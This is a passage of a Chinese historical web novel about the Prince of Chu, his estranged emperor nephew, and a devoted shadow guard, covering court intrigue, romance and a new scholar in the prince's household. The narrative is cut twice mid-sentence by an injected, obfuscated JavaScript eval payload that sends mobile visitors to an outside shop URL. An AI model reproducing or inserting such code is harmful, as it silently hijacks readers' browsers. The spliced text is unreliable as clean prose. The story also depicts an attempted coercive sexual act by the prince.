好不容易按捺下去的好奇心重新冒了出来,封歧百爪挠心,这个问题要是弄不清楚,他夜里要睡不着了。 封歧长叹一声:“本王最后问一次,你为何要救本王?当然,你要是不想回答,就请自便吧。你救过本王一命,本王这次救你是还你人情,现在你我已经两清,你可以留在王府护卫司,我会庇护你。你也可离开这里,我不会拦你。” 话一出口,跪在地上的男人顿时松了口气。观他神情,好似应付封歧的问话一直在一个陌生又为难的领域,此刻封歧终于放行,他毫不犹豫地一叩首,起身离开。 封歧默然无语地看着他果断的背影,感觉一口老血闷在了喉咙里。 官场里何处不是人精,他这招以退为进素来无往不利,这还是第一次折戟沉沙。 “……等会。” 十七听话地停步,转身垂首。 “罢了。你过来。” 十七向前走了两步。 “到床边来。” 十七这次迟滞了一息,方走到床边。如此自上而下俯视楚王自然不敬,他一踩上脚踏就跪了下去。 楚王纡尊降贵地伸出一只手,抬起了十七的下巴,微微俯下身,注视着他的眼睛,不错过分毫情绪,轻声问:“你就宁可立马去死,也不愿死前满足一下本王的好奇心吗?” 男人的睫毛飞快地挣动,视线下落,难得露出些许仓皇。 封歧心里一动,若有所思:“本王早就觉得你看本王的眼神不太对了……让本王猜猜,不是忠,不是义,”他一字一字说得很慢,每说一句,都停下来仔细观察男人的神情,“难道是,情?” 十七猛地后仰,惊慌失措地摔在地上。 封歧一时也僵住。不是吧? 十七没有立刻爬起来,他仰面躺着,胸口起伏,眼神空白。许久,方闭了闭眼,忽然爬起身,重新跪好,平静道:“是。” 顿了顿,他露出一个微微的哂笑,反将一军:“为了忠,我须回去受死。但是为了情,我留下的话,殿下肯吗?” 封歧:“……” 酉时初,绪总管入内禀道:“庞绥已将十七大人送回影卫司。” 封歧躺在床上,有气无力地点了点头。绪总管抬头小心地看了他一眼,见他眼里有些血丝,忧道:“医正有言,殿下思虑过重,须得好好休息。既然有时间,殿下为何不睡一会?” 封歧默默无言,叹了口气,说道:“有些饿了。” 绪总管忙道:“奴婢这便下去布膳。” 吃完晚饭,喝了药,封歧靠在床头软枕上,太阳穴上方疼得青筋直跳,却愈发没有睡意,索性让人拿了本时兴的诗集过来翻看。诗集叫做《棠梨雅集》,乃不久前京中文士儒生于棠梨苑曲水流觞所作。封歧本是用来打发时间,草草翻过,还真有两首诗入了他的眼,再一看,两首诗的作者都是同一人,当下便记住了这个名字。 约莫酉时七刻,绪总管又到来,说道:“殿下,皇帝陛下将那位十七大人又送了回来。” 封歧早有预料,此刻终于等到,轻哼一声,说道:“替本王谢过皇帝。” 绪总管知他没有听懂,强调道:“陛下亲自将人送了来。” 这个时辰,宫门早已落锁。封歧不曾想封麟竟如此胡闹,微微一怔,丢开诗集,坐直身子:“他人何在?” “奴婢已将人请至清风堂。” 封歧沉默片刻,又倚了回去,道:“就说本王病体沉重,昏睡不醒,请陛下回宫。” 话音刚落,只听封麟在屋外惨然道:“皇叔就这么不愿见朕吗?” 听着声音,封歧几乎可以想见青年面色凄苦的模样,心脏一痛,皱起眉,伸手放下床帐:“请陛下入内一叙。” 绪总管退出去,赶走了院中所有的仆役。封麟则带着影卫十七进了屋子,在离床约五步的地方站定,讨好地道:“这影卫不识好歹,擅自跑回影卫司,我给皇叔送来了。” 封歧恶意地笑了起来:“是我遣他回去的。” 封麟一怔,他未问过这影卫具体经过,反应过来后便道:“皇叔若是恶了他,我就把他带回去,给你换个听话的。” 封歧压低嗓音,声音嘶哑温柔,隔着朦胧的床帐,仿若情人呢喃:“璎奴不问问我,为何遣他回去吗?”语罢,不等封麟接话,又道,“因为我知道了,他对我有情。” 封麟怒火腾的一下冲上天灵盖,只觉自己的所有物被人觊觎,“你个刁奴!”一脚踹上身后之人,直把他踹倒在地,尤不解气,还要再踹。 “住手!”封歧阻止不及。 封麟不敢置信,扭过头,大口喘着气:“皇叔……” 封歧道:“其实他走后我就有些悔了。陛下知道,我天生对女人不行,这辈子无法娶妻生子,可若一人过活,岂不寂寞……今天下午,我一直在想,我堂堂亲王,生来就是要享富贵的,又不是苦行僧,何必洁身自好,受那委屈?陛下将他送来,可见与我真是心有灵犀。” 封麟浑身哆嗦,无比羞辱,好半晌,才勉强挤出一个笑,“我已知错了,你何必故意说这话气我……” 封歧只笑着唤了一声:“十七,过来。” 十七捂着被踹的腹部,冷汗岑岑,看了眼身前有些可怜的背影,没有动弹。 封歧又唤:“十七。”声音说不出的温柔。 十七呆呆地蜷缩着,直到皇帝从齿缝里挤出一句:“你过去。”这才尝到一缕绝望,无言地起身,蹒跚至床沿。 床帐里探出一只劲瘦优雅的手,将他粗暴地扯进去。紧接着,那只手在他耳边摸索,解下面具,唇上一软,覆上另一人滚烫的体温。 封歧抬起头,暧昧地道:“舍了陛下这等山珍海味方知,清粥小菜也别有滋味。” 屋中一片死寂,也不知过了多久,封麟说:“我知道皇叔是为气我,就算气我,也不必用这样上不得台面的人委屈自己。” 说完,再难在这屋中忍受分毫,飞快离开。 关门声响的那一刹,封歧吐出一口气,浑身一软,直直地往前坠去。 “我说过,殿下一定要静养!”良医正吹胡子瞪眼,“静养!你们知道什么叫静养吗?!” 绪总管苦笑:“我们知道,殿下他老人家不知道啊。” 良医正气闷地转身,正要下台阶,一眼看到伫立一隅的黑衣男人,怒道:“你也是,一身的伤还到处跑,你再不回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521592|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺着,看还有谁能救你!” 韦良辅这时闻讯赶到,正好听到良医正的话,看了眼突然多出的陌生面孔,来不及多想,拉过绪总管,低声问道:“怎么回事?我不过出府一趟,殿下怎么病得更重了?” 绪总管道:“皇帝来过一趟。” 韦良辅愣怔片刻,松开手,无可奈何地长叹一声。 等闲变却故人心,自古多情空余恨,也罢,这等滋味,旁人体悟不得,唯有殿下自个儿想开才行。 韦良辅不再纠结,这才有空端详黑衣男人,继续向绪总管低声问道:“那位是……?” 绪总管满腹言语格外复杂,他分明今日一直围着殿下转,怎么今儿发生的事一件都没看明白? “这个人,说来话长。” 韦良辅:“那就长话短说!” 绪总管平铺直叙:“这人是影卫司的人,今日殿下出宫后,亲自去将人要了来。傍晚,这人自请离去。将才,皇帝躬亲送人过来。三人在屋里待了不久,皇帝愤怒而去,殿下昏厥,这人身上多了个脚印。” 韦良辅:“……三个男人一台戏,好一出莫名其妙不明不白爱恨纠葛的大戏。” “很是很是。”绪总管和他一起深沉地叹气。 接下来几日,封歧称病不出,朝会京营一概不管,当真老老实实地静养起来。 其间封麟又来过一次,坐在床沿拉着封歧的手,低声下气地说已革去江敕的职,皇叔看这空出来锦衣卫指挥佥事由谁担任比较好。 封歧定定地将他望着,竟果真荐了个心腹:“微臣麾下有一副将,叫做褚德,颇擅刑讯,足以担任。” 封麟笑容有些僵硬,却不敢驳了他,小心翼翼地道:“褚副将官居从一品,要他任正四品指挥佥事,岂非贬黜?” 封歧似笑非笑:“陛下何出此言,本朝以文制武,一品武将见到五品文官也要让路行礼。唯有上十二卫地位殊崇,而上十二卫中尤以锦衣卫为贵。天子亲军,侦缉百官,御前行走,何等威风。褚德能进锦衣卫,是他之幸。”说着,一顿,随便地道:“当然,微臣不过随口一提,陛下若是不愿,就算了。” 封麟哪里听不出他的以退为进,咬牙应下:“我信皇叔眼光,皇叔既然举荐此人,必有其独到之处。”说完,可怜兮兮地眨着眼睛,小声问:“皇叔,这样你就不生我的气了吧?” 封歧失神地看着他,目光有些柔软,片刻后,抬手轻轻将他鬓边的一绺碎发归于耳后:“还记得从前我给你讲帝王术,有一句话,‘道在不可见,用在不可知君’。” 封麟见他态度软化,大喜过望,忙乖巧点头,接着道:“虚静无事,以暗见疵。” 道在不可见,用在不可知君。虚静无事,以暗见疵。这是《韩非子》里讲帝王术的一句话,意思是说:治国之道在于深藏不露,帝王不能被臣下轻易察觉真实意图。 封歧还是用那样轻柔的目光看着怀里的青年,只是带上了疲惫,“微臣很欣慰,陛下已经做到这点了。” 封麟浑身发抖,方才还让他觉得温柔的人此刻是那么的冷酷无情。他有点崩溃了,“是不是不管我怎么挽救,你都不会原谅我了!” 封歧静默不语。 “皇叔!”封麟一头扎进他的怀里,“我求你,不要这么对我,我之前是受江敕蒙蔽,他总说你要害我……我已经罚过他了,我真的知错了……” 封歧一动不动,许久,才说道:“看在从前的情分上,我答应你,只要你不再出手,我也绝不会伤你性命。”说完,将他推开,“就这样吧。你该回宫了。” 又过了几日,封歧身体总算慢慢好了起来。 沉疴尽去,身上还有些使不上劲,封歧谨遵医嘱,每日傍晚都去花园散心。良医正教了他一套五禽戏,每日都打一会,颇为见效。 这天,封歧从花园出来,只见绪总管冒冒失失地跑过来,脸色发青,像见了鬼一样,一看到他,立马道:“殿下!陛下,陛下又送了人过来。” 他颤巍巍地张开手指:“这,这回有,八,八,八个……” 8. 第 8 章 照壁前,九个男人,清润隽秀、飞扬明媚、温文尔雅、含羞带怯,风情各不相同。 楚王殿下站在他们面前,阴云密布,额角青筋直跳,总算知道封麟那句“就算气我,也不必用这样上不得台面的人委屈自己”还有后招。但一次送九个来,也太荒唐了,莫非是看开朝廷上斗不过,另辟蹊径要把他气死? 送人来的于公公战战兢兢地传话:“陛下说,说,殿下就算要男人相伴,也不必委屈自己,这些人全都出身清白,殿下……”话没说完,淹没在楚王殿下的雷霆怒火中。 谁人不知,楚王殿下素来在意形象,这还是第一次如此不顾仪态地在人前动怒,场之人吓得大气也不敢出。 最终,男人们跟在于公公后面灰头土脸地退了出去。封歧抚了抚胸口,定睛一看,发现眼前竟还杵着一个,一身洗得发白的布衣,容貌自不必说,眼睛干净通透,似绕城而过的清江水。 看到这样神仙般的人物,封歧也不由多了几分耐心,没有立即发火,皱眉问:“你怎么还不走?” 男子抬手作揖,声音也很清透:“回殿下的话,草民已无处可去。” 封歧听他一句话,仿若凉水浸染,心气慢慢平静下来。再次仔细打量,只见他头上裹着士子才戴的幅巾,谈吐清晰,气质俊雅,不似那等攀龙附凤之徒,便问:“你是什么人?” 照壁后察言观色的阍人这才探出头,小心翼翼地插了句嘴:“殿下,这位公子早晨就登过门,只是小的看他没有急事,就把拜帖和别人的一起送到您书房去了。” 偌大的楚王府,每日扯关系攀亲戚的闲杂人等不计其数,守门阍人自练就一双势利眼,看这公子穿着寒酸,虽不至出口奚落,却也不会奉承,公事公办地将他的拜帖接了,一起送到书房。 书房的拜帖每日都有厚厚一堆,楚王殿下从不翻看,第二日再由仆役退回。 封歧明白过来,自己大约是闹了个误会,“这么说,你不是皇帝送来的?” 男子又是一揖:“草民徐青,乃入京赶考的生员,前日遭了毛贼,身无分文,续不起租,被东家赶了出来。今日递了拜帖后无处可去,就在对面树下等殿下回音,这时来了两辆马车,下来一拨公子,哦,就是方才那群人。草民见他们仪表不凡,只道同为谒客,便凑上前打算套个关系,不想竟就这么跟了进来。未得殿下允许擅闯贵府,还望殿下恕罪。” 封歧听他已提了两回无处可去,又对他谈吐颇有好感,想着这等人物未必不是将来之栋梁,便问道:“你要求见本王,可是有何苦处?” 徐青有些局促地扯了扯袖摆,白净的耳根红透:“学生听说,殿下宅心仁厚,曾收留上届一位落第士子做账房,留待下回再考。学生便想问一问,殿下府邸这般大,可还需要一个账房?” 原来是囊中羞涩,求门路来了。 王府账房,其实就是门客,若是日后高中,便是板上钉钉的楚王学生。封歧无所谓卖个人情,看了眼绪承安。 绪总管心领神会:“府上恰好有个老账房半年前辞乡。” 封歧道:“那便就这么办吧。” 今日封麟闹的这出倒是让封歧想起一个人,回院子时走到一半,停在一棵石榴树下,问道:“十七的伤养好了吗?” 绪总管:“回殿下,良医正复诊过,已经大好。” “既然好了,让他来见我。” 话音刚落,有道黑影自不远处的屋顶上跳了下来。封歧受惊,旋即恼怒呵斥:“谁允许你一直跟着本王的!” 十七跪地,不说一句开脱之辞,只是请罪。看他这样,封歧怒火顿消,生出一丝莫名其妙的可怜。 罢了,他只学过如何做一个影卫,计较不来。 “这里不是皇宫,本王和皇帝也不相同。你既然留在这里,就要守本王的规矩。日后本王不点头,不许随行,也不许爬到本王院子里的屋顶上。” 十七记下规矩,说道:“是。” 封歧盯着他的头顶看了会,叹了口气,“起来吧。” 十七便站起身。 封歧想,这么一块铁疙瘩,也唯有听话拿得出手了。 “不许戴面具。” 十七迟疑了一下,摘下面具,脸庞暴露在大庭广众之下显然让他有些不适,抿了抿唇。 封歧看他一眼,转身继续走路,走过两步,回头一看,那铁疙瘩还杵在原地一动不动,顿时推翻了自己几息前的念头——听话到这种地步,未必就拿得出手了啊。 “跟上。” 十七这才疾行两步,缀上来。 封歧什么脾气也没了,无可奈何地问道:“伤是什么时候好的?” 十七答道:“昨日下的地。” “既然好了怎么不来见本王?若不是本王想起来,你要藏到什么时候?” 十七飞快地抬眼一望,垂回去,道:“主子不召,影卫不得擅自现身。” 封歧慢悠悠走了两步,忽然问:“你的隶属可还在影卫司?” “是。” 封歧便淡淡道:“那你的主子就是皇帝。” 十七张口,似乎想辩什么,最后却吞了回去,沉默不言。 封歧恰好回头,将他神情收入眼底,来了兴致,故意问道:“倘若有一日,我和陛下同时遇险,你救谁?” 这个问题,府上随便换一个人,都会不假思索地答:自然是楚王殿下。因为这是楚王问的话。 但是眼前的男人却仿佛变得更沉默了,封歧端详着他的神情,甚至感同身受到了他的一丝煎熬,下意识心软道:“罢……” “卑职只能先救陛下。”与此同时,十七开了口。 楚王静了片刻,平淡地道:“影卫司都是如何训的?这般死脑筋。” 十七道:“然后卑职再返回救您。” 封歧听得心头火起,冷笑道:“我已经死了。” 十七说:“卑职定死在您的前头。” 人都死了,谁稀罕。封歧挂着冷笑,加快步子,连一个眼神都奉欠。 如此又过了两日,封歧恢复了巡视京营的日子。 褚德去了锦衣卫,他重新提了一个亲信做副将,叫孟烬。孟烬新官上任,初次接手营务,不甚熟练,且有不少老兵不服气,封歧免不了多在营中滞留,整肃军纪,以免生乱。 不在军营的时候,封歧参加大小朝会,对答如旧。封麟看他这样,大概以为往事已过,着实松了口气,又开始亲近他,在朝会后让太监传话,约他私见。只是三次里封歧拒了两次,第三次,朝会末了,封麟端坐龙椅,当着满朝臣子的面幽幽开口:“皇叔近来可是对朕不满?” 这么多双眼睛盯着,封歧拱手行礼,不解道:“微臣岂敢,陛下何出此言?” 封麟红了眼圈:“楚王是朕在京中唯一的皇叔,是朕的至亲,朕只是想和楚王多多亲近,召请入宫,楚王为何一再拒旨。” 封歧道:“前两日京营将领变更,臣不得不坐镇营中,这才误了陛下一番好意。” “这样,”封麟点点头,笑道,“今日十五月圆,朕备了酒菜,想请皇叔入宫团圆。” 封歧只能道:“臣遵命。” 下朝后,封歧与其他官员作别,乘舆跟着于公公去往内廷。穿过两仪门,宽阔而冗长的官道那头走来一队卫兵,乃是轮值的羽林左卫。封歧看着领头的小旗,略微坐直了,眼睛眯了眯。 那队羽林左卫走到跟前,齐刷刷低头行礼。封歧叫了免礼,欲走,那头领笑道:“卑职从前在锦衣卫时办案不当,耽误了殿下的大事,心痛不已。不知卑职走后,那案子可查出来了?” 封歧噙着一个和煦的笑:“和前几日的刺客是一个主子。” “哦,”江敕煞有介事地点头,眼神挑衅,“原来是东瀛倭贼。” 封歧笑容不变:“江公子能力不足,做不了指挥佥事,如今担任小旗,总该绰绰有余了吧。既然当值,便打起精神,好好守卫着,听说那东瀛忍者会一门遁地功夫,别到了宫里都没发现。” 江敕面色涨红。封歧不再看他,摆了摆手指,四个太监抬着步舆从他身边走过。 封歧笑容消失,脸色沉了下去,阖眼小憩。 不久,步舆停下,封歧睁开眼,见直接到了皇帝的寝殿。这里他曾来过许多次,闭上眼都知道哪一处是路,哪一处是门。庭中有一株香椿,不知长了多少春秋。这棵树以前长在他住的宫殿里,小时候他在树上为封麟绑过一只秋千,后来封麟做了皇帝,颐指气使地把这棵树挖来种在了寝殿门口。 秋千还在,只是绳索已被风雨淋漓得破旧。 他推门而入,还在想,江敕一个区区伯爵之孙,哪来的胆量跟他叫板?若是从前,封歧也不会在意这样一个跳梁小丑,可今日无论他怎么在心里安抚自己,都咽不下这口气,如鲠在喉。 说是已相决绝,可爱意若已渗入血脉骨肉,稍有抽离,就是剜肉剔骨的疼痛。 “皇叔!你等多久了,我刚刚被元辅叫住,耽误了一会。” 封麟踏进屋子,看到背对着站在窗边的人,不由心头一松,便要去屏风后更衣。 封歧忽然转过身,面无表情地走过来,说道:“你们出去。” 封麟心里一突。 于公公不敢有动作,木头似的杵在原地,封歧已走到近前,捏住封麟下巴,山雨欲来:“都给本王滚出去。” 封麟不想在宫人面前出丑,勉强维持镇定的语调:“你们先出去,朕有话要和皇叔说。” 宫人们这才鱼贯而出。 门甫一关闭,封歧一把掐住的青年后颈,面朝下按在旁边的四方桌上。封麟吞下惊呼,四肢挣动间挥倒茶壶,摔得粉碎。于公公在门外惊慌失措地问了一声,封麟道:“没事——啊!” 话未说完,他睁大眼睛,只觉上身一凉,战栗如波涛涌过,死死咬住嘴唇,露出屈辱的神情。 这个姿势…… 背后,封歧已覆了上来,阴沉着发泄戾气。忽然,他死死盯住青年雪白的后腰上的指印,僵立良久,猛地松开手,后退了两大步。 封麟转过身,捂着衣服,眼睛通红,既惊且怯:“皇叔……” 他的皇叔脸上的表情很奇怪,像愤怒,又像讽刺,还有恍然大悟。 “你就这么离不开男人吗。” 封麟一时没明白:“什么?” 封歧闭了闭眼,一刹那,雨尽云收,风和日丽。可封麟却感觉这个男人从未离他这么远过。从前几日他还敢痴缠,是因为心底有种直觉,皇叔对他犹有感情,然而此时此刻,他惊慌地意识到,有什么彻底在二人之间断开。 封歧道:“微臣还有事,就此告退。” “你敢走!”封麟脸色一沉,旋即换了一副楚楚可怜的神情,扑过去拽住封歧的腰带,心碎道:“皇叔,我们和好不行吗,我已经都按照你说的做了,我们还像从前那样,不行吗?” 璎奴啊璎奴,你到底有几张脸?封歧垂眸淡淡地注视眼前瑰丽的容貌,露出一个奇异的微笑:“上次进宫,臣说江敕有可能是刺杀我的幕后之人,您说会将他抓进诏狱。” 封麟目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521593|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光闪了闪,垂下卷翘的睫毛:“我已严刑拷问过……后来康宁伯带着烈祖亲赐的丹书入宫,为他求情,我不得已只能将他放了出来。” “原来如此。这么多年,真是委屈你了。”封歧点点头,转身就走。 “他只是个小人物,皇叔何必计较!皇叔!封歧!”封麟隐约明白了什么,不甘地吼道:“你又有多干净!别以为我不知道,明泰三十八……” 他忽然顿住,只因封歧猛地转身看他,那眼神令他万分惊惧。其实话一出口他就后悔了,然而覆水难收,他只能眼睁睁看着封歧头也不回,想追上前,却碍于衣衫不整,唯有停在门框处,恨恨地捶上门板。 封歧飞快地走下台阶,一阵北风刮过,“啪”,仿佛命运伸指轻拨,那只摇摇欲坠的秋千绳索忽然断了。 明泰三十一年正月,封歧的舅舅去世,这个世上最后一个关爱他的人走了。 那天下了一场小雪,地面泥泞不堪。十岁的封歧从宫外吊唁回来,只感觉天空塌了一角,灰茫无望,压得他喘不过气。他深一脚浅一脚地走在宫道上,后面忽然传来一声:“天子将至,速速回避。”原来是皇帝即将路过,太监提前清道。 他脚下一软,滑倒在地,索性就着这个姿势垂头跪好。 不久,陛驾到来,他听到一声稚嫩的童音:“爷爷,七叔在那里!” 明泰皇帝嗯了一声,也不知是不是要在幼孙面前维护住慈祥的形象,或是因他舅舅去世,少有的出声唤他:“老七,过来。” 他撑着膝盖站起身,垂头走到皇帝面前。 明泰帝打量着他,说道:“身上怎么这么脏?快回去换了,莫丢了皇家脸面。” 舆驾上忽然跳下一道矮小的身影,牵住他的手,要陪他一起回去。 明泰帝不同意,声音严厉了些,那孩子便小嘴一瘪,眼里登时蓄了一泡泪水。明泰帝拿他没辙,无奈地应了。 那天封歧只记住了两件事,第一个是,牵住自己的小手好温暖。第二个是,原来明泰帝在面对其他孩子时,也是个慈祥的长辈。 最昏暗无光的日子里,是小小的封麟陪着他。后来几个兄弟联手欺辱他,也是小小的封麟张开手臂,坚定不移地挡在他的身前。年幼的封麟,填补了他心里最柔软最寂寞的一块空缺。 封麟六岁那年寿辰,他一穷二白,没有什么送得出手的,就在院子里亲手绑了一只秋千做贺礼。把小孩牵到秋千跟前时,他还有些羞愧忐忑,不想封麟转身搂住他,毫不掩饰惊喜。 那一天,十二岁少年的敏感脆弱,和自尊,全呵护在了那个拥抱里。 而今天,那个曾在树下为所爱之人绑绳结的少年,终于死在了深宫里。 出了宫,封歧让人赶着马车去了东华门边上的酒楼。这酒楼楼高三层,仅比皇城矮一尺,乃京中内坊最高的酒楼。在三楼凭栏远眺,可见远山如黛,剪在天边,故起名“望黛楼”。 到了酒楼,封歧定下包厢,点了名菜名酒,让庞绥拿着自己的名帖去刑部衙门请人。未久,成侍郎穿着一身绯色鹤补官袍匆匆前来。 封歧已经自斟自酌了小半壶酒,情绪略高涨,看到他,目光上下一错,先怪道:“怎么穿这一身来了。穿这一身,还怎么陪我饮酒。” 本朝明确规定,官员身着官服时,不得狎妓饮酒,不得出入瓦子酒肆,不得做出任何有失体统之事。 成谨赶得急,犹在气喘,看到楚王殿下没有大事,先松了一口气,随即面皮一紧,没好气地在他对面坐下:“都穿着这身进来了,喝不喝又有何区别。明日若是有人弹劾,你可得帮我顶着。” 封歧微微一笑,伸出食指,优雅地摇了摇:“都察院那群御史可不听本王的,再者本王已不摄政,奏疏是压不了了。” 成大公子表情有一瞬的狰狞。 封歧心情好了些:“若成阁老请家法,大不了事后本王帮你请个太医。” 成谨笑得皮里阳秋:“殿下可真是我见过的最仗义之人。” “过奖。” 封歧翻过空酒杯,倒了杯酒递到对面。成谨捏住,并不放任他烂醉,直白地问:“殿下这是有什么伤心事?” 封歧一饮而尽,手里的空酒杯也不放下,就这么用一种苦大仇深的表情盯着。成谨瞧着,以为他已经醉了,不想,下一刻,他就十分清醒地开了口:“令尊曾和我说过,国不可无后,要尽快劝陛下纳妃诞子。” 成谨点点头,若有所思地瞅着他。 封歧停顿片刻,说道:“昔日本王驳了一回,元辅再未提过,其余百官也再未提过。你回去传个话,明日,还请元辅旧事重提。” “唔……”成谨慢吞吞地喝下杯中物,咂巴了两下嘴,朝皇宫的方向一指,“你这是,要等诞下皇嗣后,换了那位?” 封歧又饮一杯,随意地提醒:“隔墙有耳,慎言。” 成谨嗤笑:“吓不住我。” 封歧道:“十七。” 下一瞬,一道黑影从窗外翻进来,跪地,“殿下。” 成谨笑容僵硬,紧接着,不敢置信地看向封歧:“你疯了,你找我密谈还带着皇帝的人?” 楚王大概是真的醉了,笑吟吟地问十七:“今日见闻,你会告诉陛下吗?” 十七沉默不语。 封歧紧逼不放:“若陛下召你垂询,你会一字不差地告诉他吧?” 影卫又露出那种静水流深的眼神,仿佛藏了很多痛苦。 封歧温文尔雅地一笑,又喝了一杯,说道:“你告便告了,顺便告诉他,我不怕他。” 9. 第 9 章 翌日,内阁首辅成阮便拟奏一封,重提纳妃诞嗣一事。在封歧的示意下,两位老太妃定下三女,都是没有实权的勋贵或小官之女。其中安定公之女为后,鸿胪寺左少卿之女、镇西侯之女为二妃。礼部与钦天监定下吉日,首辅和王姓翰林学士为正副使,持节、捧制书前往女家纳彩、问名。这一切仅在短短七日内迅速完成。 夜晚,封歧沐浴完毕,披着一头湿发倚在墙角榻上,捧着一本诗集,两名侍女跪在后边熏烘湿发。刚刚入秋,屋子底下已燃了地龙,暖气流转进墙壁夹层,烘得屋子温暖如春。封歧有些嫌热,衣襟大敞,皮肤透着浴后的淡红。 忽然,有人叩了叩房门。封歧有些讶异,微微坐直身子。如果是府中仆役,多半会直接禀事,可若是外人,又到不了这里。 “谁?” “是卑职。”十七的声音响起。 封歧动作一顿,重又没骨头似的倚了回去,看着诗集,漫不经心地道:“进来。” 十七入内,走到榻前三步远处,双膝着地,额头触地,行了个大礼。 封歧目光从他背上掠过,重新落回诗集上,“这是要求本王什么事?” 十七道:“陛下要我传话,请您入宫一见。” 封歧不见丝毫惊讶,唇角微翘,似嘲非嘲,“哦?”手里诗集翻过一页,不再出声。一时室内只有侍女轻缓挪动间发出的窸窣声响。许久,头发终于干了,侍女捧着熏笼向封歧告退。封歧摆摆手,体感燥热口干,吩咐道:“做碗雪花酪来。” 侍女却行而出,过了不多久,绪总管来劝道:“殿下,已是八月,天气寒凉,那等冰碗还是少食为好,奴婢吩咐厨房做了瑶浆,也是一样的。” 封歧叹了口气:“也好。”手里诗集再翻一页,说道:“要跪就去外面跪,恁的眼烦。” 十七无有二话,去到外面。封歧放开诗集,从榻上起身,推开一条窗缝,冷眼看着他在庭中重新跪下,腰背挺直,大腿紧绷,双手至于膝上,跪得格外有骨头。 立后纳妃之事封歧占着礼法,无人可挡,办得雷厉风行。封麟在宫里大吵大闹要见他,他干脆让老太妃用婚事绊住封麟,自个儿称病在家,修身养性。 下午宫中来诏,封歧称病不应,那太监又另掏一卷黄绢,召十七入宫陛见。十七接了圣旨,就跟去宫里,许久方回。府里一直有人盯着他,把动向告知封歧。听说他回来后在主院外发了许久的呆,一直到天色完全黑沉,封歧等得不耐烦,沐浴完毕,打算就寝时,才过来。 约莫亥时五刻,屋中烛火熄灭。绪总管轻手轻脚地走出来,对十七说道:“殿下已睡下了,你也回去吧。” 十七抬起头,身子却未动:“多谢公公,我知殿下生气,我跪到他气消。” 绪承安心道,这可真是个木头,要是没有殿下暗示,他敢擅自让人起身么。这人听不懂言下之意,绪总管也不好直白地说,无奈地瞅着他,低声道:“那你应也知道,殿下为何气你。” 十七垂下眼帘,说道:“我知道。” 绪总管本想点拨一二,至此无话可说,摇摇头,叹息:“你跪着又有什么用,你一日是皇帝的人,就碍眼一日,还是回去吧,免得明早殿下起来看到你更不痛快。” 第二日,封歧出得房门,庭院空空,然而走出院门,道边便杵着个黑色身影。“殿下,请允卑职随行护卫。”那影子低声道。封歧视若无睹地走过,余光看到男人孤零零地留在后面,很是有几分可怜。 这天乃乡试结束第二天,尚未放榜,已有试子举宴,其中一张请帖就送到了封歧手上,东家是成谨的表弟,地点在京郊一座十分出名的园子。封歧这些天为了躲皇帝陛下,实在闷得狠了,于是卖成谨一个面子,欣然赴约。 文人设宴讲究一个风雅,不流俗套,成谨的表弟为此颇费了一番功夫,弄来满园翠菊,是宴就文绉绉地取作“霜盏流觞”;自是少不了曲水流觞,喝酒作赋。封歧到得稍晚,宴至中途,碧盏恰好停在一个儒生跟前,其余人见了,便起哄让作诗。 封歧未入园子,站在月门边上看着。那儒生形容年轻,不过二十出头,素衣俭裳,难掩风姿卓秀。旁边的人起哄,多带着善意,显然这儒生在这群人当中有点名气。 更为重要的是,楚王殿下瞧着此人颇为眼熟,不由问道:“那是何人?” 成谨和他乘一辆马车前来,闻言打量那个已经提笔写字的儒生一眼,说道:“这人我还真认识,顺天府宛平县人士,上回院试的顺天府案首,颇有才名。” 楚王道:“叫什么?瞧着眼熟,看不太清,近前看看我应当能认出来。” 楚王殿下好男风谁人不知,成谨忍不住坏笑一声:“殿下瞧着好看的都眼熟罢。” 封歧无言地望他一眼,成谨收起轻浮之色,清清嗓子,展开折扇闪了闪:“这人姓徐名青,字幼安。” “原来是他。”封歧道。 成谨:“怎么,这人是个穷书生,你还当真认识?” 封歧:“前不久到我府上,做了账房。” 成谨学他方才话说一半:“怪不得。” 这回换封歧问:“怎么?” “这位徐生,因家境贫寒,又不好做生意,就取了个雅号叫‘南窗先生’写传奇话本,名气比本名还响亮,但是前不久听闻他找了个营生,就此辍笔专心备考,原来是去你府上了。” 封歧颔首又道:“原来是他。” 成谨一脸“你最好别拿我开心”地问:“怎么?这又有什么渊源?” 封歧笑了起来:“不是逗你,确实有点渊源。前不久在一本雅集里看到两首诗颇为出彩,便多看了两眼署名,就叫‘南窗先生’,原来是他的雅号。” 说话间,曲水旁的徐青已停笔,侍墨的书童举起墨宝,朗读出来。此宴以菊为题,徐青写的自然是首咏菊诗,仓促间文思泉涌,落笔成章,看来确实不是草包。 “好!” 众人正要喝彩,却见两人自园子外走进来,前面那人玉袍金带,雍容高华,吓了一跳,忙纷纷起身行礼。“见过楚王殿下。” “不必多礼,本王不过来凑个热闹,”封歧的目光落在徐青身上,含笑道,“不想本王府上卧虎藏龙,连账房都是上届案首。” 徐青与他对上一眼就垂下眼帘,白玉似的耳垂微红:“学生微末之名,岂好到处说道。” 封歧看他这样,心里微痒,手指在袖中碾了碾。 这时那薄瓷碧盏在曲水里流过一圈,停在了封歧跟前,众人一静,谁都没那个胆子撺掇楚王写诗。 封歧本人也微微地一怔。成谨的表弟王白秋是宴会主人,不得不站出来道:“早听闻殿下一字千金,墨宝难求,看来今日有机会瞻仰一二了。” 封歧摆手道:“诸位都乃文翰大家,本王就不班门弄斧了。” 